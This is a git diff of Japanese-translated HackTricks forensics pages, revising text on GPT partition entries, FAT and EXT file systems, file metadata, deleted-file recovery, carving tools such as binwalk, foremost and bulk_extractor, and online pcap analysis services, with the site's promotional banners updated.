| 72 (0x48) | 8バイト | パーティションエントリの配列の開始LBAプライマリコピーでは常に2 | | 72 (0x48) | 8バイト | パーティションエントリの配列の開始LBA (常にプライマリコピーで2) |
| 80 (0x50) | 4バイト | 配列内のパーティションエントリの数 | | 80 (0x50) | 4バイト | 配列内のパーティションエントリの数 |
| 84 (0x54) | 4バイト | 単一のパーティションエントリのサイズ通常は80hまたは128 | | 84 (0x54) | 4バイト | 単一のパーティションエントリのサイズ (通常は80hまたは128) |
| 88 (0x58) | 4バイト | パーティションエントリ配列のCRC32(リトルエンディアン) | | 88 (0x58) | 4バイト | リトルエンディアンでのパーティションエントリ配列のCRC32 |
| 92 (0x5C) | \* | 残りのブロック用にゼロでなければならない予約領域セクタサイズが512バイトの場合は420バイトですが、より大きなセクタサイズの場合はそれ以上になる可能性があります | | 92 (0x5C) | \* | 予約; ブロックの残りの部分はゼロでなければならない (512バイトのセクターサイズの場合420バイト; ただし、より大きなセクターサイズではより多くなる可能性があります) |
**パーティションエントリLBA 233** **パーティションエントリ (LBA 233)**
| GUIDパーティションエントリフォーマット | | | | GUIDパーティションエントリ形式 | | |
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- | | --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| オフセット | 長さ | 内容 | | オフセット | 長さ | 内容 |
| 0 (0x00) | 16バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)(ミックスエンディアン) | | 0 (0x00) | 16バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (混合エンディアン) |
| 16 (0x10) | 16バイト | ユニークなパーティションGUIDミックスエンディアン | | 16 (0x10) | 16バイト | 一意のパーティションGUID (混合エンディアン) |
| 32 (0x20) | 8バイト | 最初のLBA[リトルエンディアン](https://en.wikipedia.org/wiki/Little\_endian) | | 32 (0x20) | 8バイト | 最初のLBA ([リトルエンディアン](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8バイト | 最後のLBA(包括的、通常は奇数) | | 40 (0x28) | 8バイト | 最後のLBA (含む、通常は奇数) |
| 48 (0x30) | 8バイト | 属性フラグビット60は読み取り専用を示す | | 48 (0x30) | 8バイト | 属性フラグ (例: ビット60は読み取り専用を示す) |
| 56 (0x38) | 72バイト | パーティション名36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LEコードユニット | | 56 (0x38) | 72バイト | パーティション名 (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LEコードユニット) |
**パーティションタイプ** **パーティションタイプ**
![](<../../../.gitbook/assets/image (83).png>) ![](<../../../.gitbook/assets/image (83).png>)
[https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)にさらに多くのパーティションタイプがあります より多くのパーティションタイプは[https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)で確認できます。
### 検査 ### 検査
[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)を使用してフォレンジックイメージをマウントした後、Windowsツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)**を使用して最初のセクタを検査できます**。次の画像では、**セクタ0**に**MBR**が検出され、解釈されています [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)を使用してフォレンジックイメージをマウントした後、Windowsツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)**を使用して最初のセクタを検査できます**。次の画像では、**セクター0**で**MBR**が検出され、解釈されました
![](<../../../.gitbook/assets/image (354).png>) ![](<../../../.gitbook/assets/image (354).png>)
もし**MBRの代わりにGPTテーブル**があれば、**セクタ1**に署名 _EFI PART_ が表示されるはずです(前の画像では空白です)。 もしそれが**MBRの代わりにGPTテーブル**であった場合、**セクター1**に_EFI PART_というシグネチャが表示されるはずです前の画像では空です
## ファイルシステム ## ファイルシステム
### Windowsファイルシステムリスト ### Windowsファイルシステムリスト
@ -160,48 +162,49 @@ EFIではなくBIOSサービスを介して**GPTベースのブート**をサポ
### FAT ### FAT
**FATFile Allocation Table**ファイルシステムは、その中核部品であるファイル割り当てテーブルを中心に設計されています。このシステムは、テーブルの**2つのコピー**を維持することでデータの保護を行い、1つが破損してもデータの整合性を確保します。テーブルはルートフォルダとともに**固定された場所**になければならず、システムの起動プロセスには重要です。 **FAT (ファイルアロケーションテーブル)**ファイルシステムは、そのコアコンポーネントであるファイルアロケーションテーブルをボリュームの開始位置に配置するように設計されています。このシステムは、**2つのコピー**のテーブルを維持することでデータを保護し、1つが破損してもデータの整合性を確保します。テーブルとルートフォルダーは**固定位置**に存在する必要があり、システムの起動プロセスにとって重要です。
ファイルシステムの基本的な記憶単位は、通常512Bの**クラスタ**で、複数のセクタから構成されています。FATは次のバージョンを経て進化してきました: ファイルシステムの基本的なストレージ単位は**クラスター、通常は512B**であり、複数のセクターで構成されています。FATはバージョンを経て進化してきました:
* **FAT12**は、12ビットのクラスタアドレスをサポートし、最大4078クラスタUNIXを含めると4084クラスタ)を処理します。 * **FAT12**、12ビットのクラスターアドレスをサポートし、最大4078クラスターUNIXでは4084)を処理します。
* **FAT16**は、16ビットのアドレスをサポートし、最大65,517クラスタを収容します。 * **FAT16**、16ビットアドレスに拡張され、最大65,517クラスターを収容します。
* **FAT32**は、32ビットのアドレスをさらに進化させ、1つのボリュームあたり268,435,456クラスタを可能にします。 * **FAT32**、32ビットアドレスでさらに進化し、ボリュームごとに驚異的な268,435,456クラスターを許可します。
FATバージョン全体での重要な制限事項は、ファイルサイズの格納に使用される32ビットフィールドによって課せられる**4GBの最大ファイルサイズ**です。 FATバージョン全体に共通する重要な制限は、**4GBの最大ファイルサイズ**であり、これはファイルサイズストレージに使用される32ビットフィールドによって課せられています。
特にFAT12およびFAT16のルートディレクトリの主要なコンポーネントには、次のものが含まれます: 特にFAT12およびFAT16のルートディレクトリの主要なコンポーネントには以下が含まれます:
* **ファイル/フォルダ名**最大8文字 * **ファイル/フォルダー名** (最大8文字)
* **属性** * **属性**
* **作成、変更、最終アクセス日** * **作成、変更、最終アクセス日**
* **FATテーブルアドレス**(ファイルの開始クラスタを示す) * **FATテーブルアドレス** (ファイルの開始クラスターを示す)
* **ファイルサイズ** * **ファイルサイズ**
### EXT ### EXT
**Ext2**は、ブートパーティションのような**ジャーナリングされていない**パーティション(**あまり変更されないパーティション**)に最も一般的なファイルシステムです。**Ext3/4**は**ジャーナリング**されており、通常は**残りのパーティション**に使用されます。 **Ext2**は、**ジャーナリング**しないパーティション(**あまり変更されないパーティション**)に最も一般的に使用されるファイルシステムです。**Ext3/4**は**ジャーナリング**を行い、通常は**残りのパーティション**に使用されます。
## **メタデータ** ## **メタデータ**
一部のファイルにはメタデータが含まれています。この情報はファイルの内容についてであり、ファイルタイプによっては興味深い情報が含まれることがあります: 一部のファイルにはメタデータが含まれています。この情報はファイルの内容に関するものであり、ファイルタイプによってはアナリストにとって興味深い情報を持っている場合があります。例えば、以下のような情報が含まれることがあります:
* タイトル * タイトル
* 使用されたMS Officeバージョン * 使用されたMS Officeバージョン
* 作成および最終変更日 * 著者
* 作成日および最終変更日
* カメラのモデル * カメラのモデル
* GPS座標 * GPS座標
* 画像情報 * 画像情報
[**exiftool**](https://exiftool.org)や[**Metadiver**](https://www.easymetadata.com/metadiver-2/)などのツールを使用してファイルのメタデータを取得できます。 [**exiftool**](https://exiftool.org)や[**Metadiver**](https://www.easymetadata.com/metadiver-2/)のようなツールを使用してファイルのメタデータを取得できます。
## **削除されたファイルの回復** ## **削除ファイルの回復**
### ログされた削除されたファイル ### ログされた削除ファイル
以前に見られたように、ファイルが「削除」された後もファイルが保存されている場所がいくつかあります。これは通常、ファイルシステムからファイルを削除すると、ファイルは削除されたとマークされますが、データは触れられません。その後、ファイルの登録MFTなどを調査し、削除されたファイルを見つけることが可能です。 前述のように、ファイルが「削除」された後、いくつかの場所にファイルがまだ保存されています。これは通常、ファイルシステムからファイルを削除することが単に削除としてマークされるだけで、データは触れられないためです。そのため、ファイルのレジストリMFTのようなを検査し、削除されたファイルを見つけることが可能です。
また、OSは通常、ファイルシステムの変更やバックアップに関する多くの情報を保存するため、ファイルを回復したり可能な限り多くの情報を取得するためにそれらを使用することができます。 また、OSは通常、ファイルシステムの変更やバックアップに関する多くの情報を保存しているため、それらを使用してファイルまたはできるだけ多くの情報を回復しようとすることが可能です。
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@ -209,29 +212,29 @@ FATバージョン全体での重要な制限事項は、ファイルサイズ
### **ファイルカービング** ### **ファイルカービング**
**ファイルカービング**は、データの塊からファイルを見つけようとする技術です。このようなツールが機能する主な方法には、**ファイルタイプのヘッダーとフッター**に基づく方法、ファイルタイプの**構造**に基づく方法、および**コンテンツ**自体に基づく方法があります **ファイルカービング**は、**データの塊の中からファイルを見つけようとする技術**です。このようなツールが機能する主な方法は3つあります**ファイルタイプのヘッダーとフッターに基づく**、ファイルタイプの**構造に基づく**、および**コンテンツ自体に基づく**
この技術は**断片化されたファイルを取得することはできません**ので注意してください。ファイルが**連続したセクタに保存されていない**場合、この技術はそれを見つけることができないか、少なくともその一部を見つけることができません。 この技術は**断片化されたファイルを回収するためには機能しない**ことに注意してください。ファイルが**連続したセクタに保存されていない**場合、この技術はそれを見つけることができないか、少なくともその一部を見つけることができません。
ファイルカービングには、検索したいファイルタイプを示すために使用できるいくつかのツールがあります。 ファイルカービングに使用できるツールはいくつかあり、検索したいファイルタイプを指定できます。
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### データストリーム**カービング** ### データストリーム**C**arving
データストリームカービングは、ファイルカービングと似ていますが、**完全なファイルを探すのではなく、興味深い断片**の情報を探します。\ データストリームカービングはファイルカービングに似ていますが、**完全なファイルを探すのではなく、興味深い情報の断片を探します**。\
たとえば、ログされたURLを含む完全なファイルを探すのではなく、この技術はURLを検索します。 えば、ログされたURLを含む完全なファイルを探すのではなく、この技術はURLを検索します。
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### 安全な削除 ### セキュア削除
明らかに、ファイルを**「安全に」削除し、それに関するログの一部を削除**する方法があります。たとえば、ファイルの内容を何度もジャンクデータで上書きし、その後、ファイルに関する**$MFT**および**$LOGFILE**からのログを削除し、**ボリュームシャドウコピーを削除**することが可能です。\ 明らかに、ファイルやそのログの一部を**「安全に」削除する**方法があります。例えば、ファイルの内容をジャンクデータで数回上書きし、その後**$MFT**や**$LOGFILE**からファイルに関する**ログを削除**し、**ボリュームシャドウコピーを削除**することが可能です。\
そのアクションを実行しても、ファイルの存在がまだログされている部分が他にあるかもしれないことに注意してください。これはフォレンジック専門家の仕事の一部です。 この操作を行っても、**ファイルの存在がまだログされている他の部分があるかもしれない**ことに気付くかもしれませんが、それは真実であり、フォレンジック専門家の仕事の一部はそれらを見つけることです。
## 参考文献 ## 参考文献
@ -239,4 +242,19 @@ FATバージョン全体での重要な制限事項は、ファイルサイズ
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) * [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) * [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
* **iHackLabs Certified Digital Forensics Windows** * **iHackLabs認定デジタルフォレンジックWindows**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# ファイル/データの彫刻と回復ツール # ファイル/データカービングと回復ツール
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に **参加** または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) を **フォロー** してください。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出してください。
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,19 +23,19 @@ HackTricks をサポートする他の方法:
*** ***
## 彫刻と回復ツール ## カービングと回復ツール
[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にさらに多くのツールがあります。 さらに多くのツールは[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にあります。
### Autopsy ### Autopsy
画像からファイルを抽出するために最も一般的に使用されるツールは [**Autopsy**](https://www.autopsy.com/download/) です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけるようにします。Autopsy はディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていません。 画像からファイルを抽出するためにフォレンジックで最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していません。
### Binwalk <a href="#binwalk" id="binwalk"></a> ### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** はバイナリファイルを分析して埋め込まれたコンテンツを見つけるためのツールです。`apt` を介してインストール可能で、そのソースは [GitHub](https://github.com/ReFirmLabs/binwalk) にあります。 **Binwalk**は、埋め込まれたコンテンツを見つけるためにバイナリファイルを分析するツールです。`apt`を介してインストール可能で、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)にあります。
**便利なコマンド**: **便利なコマンド**
```bash ```bash
sudo apt install binwalk #Insllation sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file binwalk file #Displays the embedded data in the given file
@ -43,7 +44,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
``` ```
### Foremost ### Foremost
もう1つの一般的な隠しファイルを見つけるためのツールは **foremost** です。 foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントアウトしない場合、foremost はデフォルトで構成されたファイルタイプを検索します。 もう一つの一般的なツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さなければ、foremostはデフォルトで設定されたファイルタイプを検索します。
```bash ```bash
sudo apt-get install foremost sudo apt-get install foremost
foremost -v -i file.img -o output foremost -v -i file.img -o output
@ -51,53 +52,76 @@ foremost -v -i file.img -o output
``` ```
### **Scalpel** ### **Scalpel**
**Scalpel**は、ファイルに埋め込まれたファイルを見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを構成ファイル_/etc/scalpel/scalpel.conf_からコメントアウトする必要があります。 **Scalpel**は、**ファイルに埋め込まれたファイル**を見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル(_/etc/scalpel/scalpel.conf_)からコメント解除する必要があります。
```bash ```bash
sudo apt-get install scalpel sudo apt-get install scalpel
scalpel file.img -o output scalpel file.img -o output
``` ```
### Bulk Extractor ### Bulk Extractor
このツールはKaliに含まれていますが、こちらで見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) このツールはkaliに含まれていますが、ここで見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
このツールは画像をスキャンし、その中に含まれる**pcapsを抽出**し、**ネットワーク情報URL、ドメイン、IP、MAC、メール**や他の**ファイル**を取得することができます。以下の手順のみを実行する必要があります: このツールはイメージをスキャンし、その中にある**pcaps**を**抽出**し、**ネットワーク情報URL、ドメイン、IP、MAC、メール**やその他の**ファイル**を取得します。あなたがする必要があるのは:
``` ```
bulk_extractor memory.img -o out_folder bulk_extractor memory.img -o out_folder
``` ```
すべての情報をナビゲートします(パスワード?)、パケットを分析します([**Pcaps分析**](../pcap-inspection/)を読む)、奇妙なドメインを検索します(**マルウェア**や**存在しない**ドメインに関連する)。
### PhotoRec ### PhotoRec
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) で見つけることができます。 [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)で見つけることができます。
GUI CLI のバージョンがあります。PhotoRec が検索する**ファイルタイプ**を選択できます。 GUIとCLIのバージョンがあります。PhotoRecが検索する**ファイルタイプ**を選択できます。
![](<../../../.gitbook/assets/image (242).png>) ![](<../../../.gitbook/assets/image (242).png>)
### binvis ### binvis
[コード](https://code.google.com/archive/p/binvis/) と [web ページツール](https://binvis.io/#/) をチェックしてください。 [コード](https://code.google.com/archive/p/binvis/)と[ウェブページツール](https://binvis.io/#/)を確認してください。
#### BinVis の特徴 #### BinVisの特徴
- ビジュアルでアクティブな**構造ビューア** * 視覚的でアクティブな**構造ビューワー**
- 異なる焦点点のための複数のプロット * 異なる焦点のための複数のプロット
- サンプルの一部に焦点を当てる * サンプルの一部に焦点を当てる
- PE や ELF 実行可能ファイル内の**文字列やリソース**を見る * PEまたはELF実行可能ファイルの**文字列とリソース**を見る
- ファイルの暗号解読のための**パターン**を取得 * ファイルの暗号解析のための**パターン**を取得
- パッカーやエンコーダーアルゴリズムを**見つける** * パッカーまたはエンコーダアルゴリズムを**特定**
- パターンによるステガノグラフィを**特定する** * パターンによるステガノグラフィの**識別**
- **ビジュアル**バイナリ差分 * **視覚的**なバイナリ差分
BinVis は、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**スタートポイント**です。 BinVisは、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**出発点**です。
## 特定のデータカービングツール ## 特定のデータカービングツール
### FindAES ### FindAES
TrueCrypt や BitLocker で使用されるような 128、192、256 ビットの鍵を見つけるために、鍵スケジュールを検索することで AES 鍵を検索します。 キーのスケジュールを検索することによってAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーを見つけることができます。
[こちらからダウンロード](https://sourceforge.net/projects/findaes/)できます [こちらからダウンロード](https://sourceforge.net/projects/findaes/)。
## 補ツール ## 補ツール
画像を端末から見るために [**viu** ](https://github.com/atanunq/viu)を使用できます。\ [**viu**](https://github.com/atanunq/viu)を使用してターミナルから画像を見ることができます。\
Linux コマンドラインツール **pdftotext** を使用して、pdf をテキストに変換して読むことができます。 Linuxコマンドラインツール**pdftotext**を使用してPDFをテキストに変換し、読むことができます。
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
</details>
{% endhint %}

View file

@ -1,47 +1,48 @@
# Pcap Inspection # Pcap Inspection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。 [**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
{% hint style="info" %} {% hint style="info" %}
**PCAP** vs **PCAPNG**についての注意PCAPファイル形式には2つのバージョンがあります。**PCAPNGは新しいバージョンであり、すべてのツールでサポートされていません**。他のツールで使用するためにファイルをWiresharkなどの互換ツールを使用してPCAPNGからPCAPに変換する必要がある場合があります **PCAP** **PCAPNG** に関する注意: PCAPファイル形式には2つのバージョンがあります; **PCAPNGは新しく、すべてのツールでサポートされているわけではありません**。他のツールで作業するために、Wiresharkや他の互換性のあるツールを使用してPCAPNGからPCAPにファイルを変換する必要があるかもしれません
{% endhint %} {% endhint %}
## Pcap用のオンラインツール ## Online tools for pcaps
- もしpcapのヘッダーが**壊れて**いる場合は、[http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)を使用して**修正**してみてください * pcapのヘッダーが**壊れている**場合は、[http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)を使用して**修正**を試みてください。
- [**PacketTotal**](https://packettotal.com)でpcap内の**情報**や**マルウェア**を検索して抽出する * [**PacketTotal**](https://packettotal.com)でpcap内の**情報**を抽出し、**マルウェア**を検索します。
- [**www.virustotal.com**](https://www.virustotal.com) と [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) を使用して**悪意のある活動**を検索する * [**www.virustotal.com**](https://www.virustotal.com)および[**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)を使用して**悪意のある活動**を検索します。
- [**https://apackets.com/**](https://apackets.com/) で**ブラウザからの完全なpcap解析** * [**https://apackets.com/**](https://apackets.com/)でブラウザから**完全なpcap分析**を行います。
## 情報の抽出 ## Extract Information
以下のツールは統計情報、ファイルなどを抽出するのに役立ちます。 次のツールは、統計、ファイルなどを抽出するのに役立ちます。
### Wireshark ### Wireshark
{% hint style="info" %} {% hint style="info" %}
**PCAPを分析する場合、基本的にWiresharkの使用方法を知っている必要があります** **PCAPを分析する場合、基本的にWiresharkの使い方を知っておく必要があります**
{% endhint %} {% endhint %}
Wiresharkのトリックは次の場所で見つけることができます: Wiresharkのトリックは以下で見つけることができます:
{% content-ref url="wireshark-tricks.md" %} {% content-ref url="wireshark-tricks.md" %}
[wireshark-tricks.md](wireshark-tricks.md) [wireshark-tricks.md](wireshark-tricks.md)
@ -49,13 +50,13 @@ Wiresharkのトリックは次の場所で見つけることができます
### [**https://apackets.com/**](https://apackets.com/) ### [**https://apackets.com/**](https://apackets.com/)
ブラウザからのPcap解析。 ブラウザからのpcap分析。
### Xplico Framework ### Xplico Framework
